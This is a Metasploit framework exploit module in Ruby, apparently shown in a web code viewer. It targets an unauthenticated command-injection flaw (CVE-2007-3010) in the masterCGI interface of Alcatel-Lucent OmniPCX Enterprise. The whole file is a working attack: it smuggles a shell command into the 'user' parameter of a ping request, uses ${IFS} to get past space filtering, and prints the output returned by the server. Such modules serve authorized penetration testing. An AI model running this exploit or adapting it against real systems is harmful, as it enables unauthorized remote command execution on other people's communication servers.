Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ManualRanking # Only interactive single commands supported
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution',
14
      'Description'    => %q{
15
          This module abuses a metacharacter injection vulnerability in the
16
        HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
17
        Communication Server 7.1 and earlier. The Unified Maintenance Tool
18
        contains a 'masterCGI' binary which allows an unauthenticated attacker
19
        to execute arbitrary commands by specifying shell metacharaters as the
20
        'user' within the 'ping' action to obtain 'httpd' user access. This
21
        module only supports command line payloads, as the httpd process kills
22
        the reverse/bind shell spawn after the HTTP 200 OK response.
23
      },
24
      'Author'         => [ 'aushack' ],
25
      'License'        => MSF_LICENSE,
26
      'References'     =>
27
        [
28
          [ 'OSVDB', '40521' ],
29
          [ 'BID', '25694' ],
30
          [ 'CVE', '2007-3010' ],
31
          [ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ],
32
        ],
33
      'Platform'       => ['unix'],
34
      'Arch'           => ARCH_CMD,
35
      'Privileged'     => false,
36
      'Payload'        =>
37
        {
38
          'Space'       => 1024,
39
          'DisableNops' => true,
40
          'Compat'      =>
41
            {
42
              'PayloadType' => 'cmd',
43
              'RequiredCmd' => 'generic'
44
            }
45
        },
46
      'Targets'        =>
47
        [
48
          [ 'Automatic Target', { }]
49
        ],
50
      'DefaultTarget' => 0,
51
      'DisclosureDate' => '2007-09-09'))
52

53
    register_options(
54
      [
55
        Opt::RPORT(443),
56
        OptBool.new('SSL', [true, 'Use SSL', true]),
57
      ])
58
  end
59

60
  def exploit
61
    connect
62

63
    cmd = payload.encoded.gsub(" ", '${IFS}')
64
    req =
65
      "GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" +
66
      "Host: #{rhost}\r\n\r\n"
67

68
    print_status("Sending GET request with command line payload...")
69
    sock.put(req)
70

71
    res = sock.get_once(-1, 5)
72

73
    if (res =~ /<h5>(.*)<\/h5>/smi)
74
      out = $1
75
      print_line(out.gsub(/<h5>|<\/h5>/, ''))
76
      return
77
    end
78

79
    handler
80
    disconnect
81
  end
82
end
83

84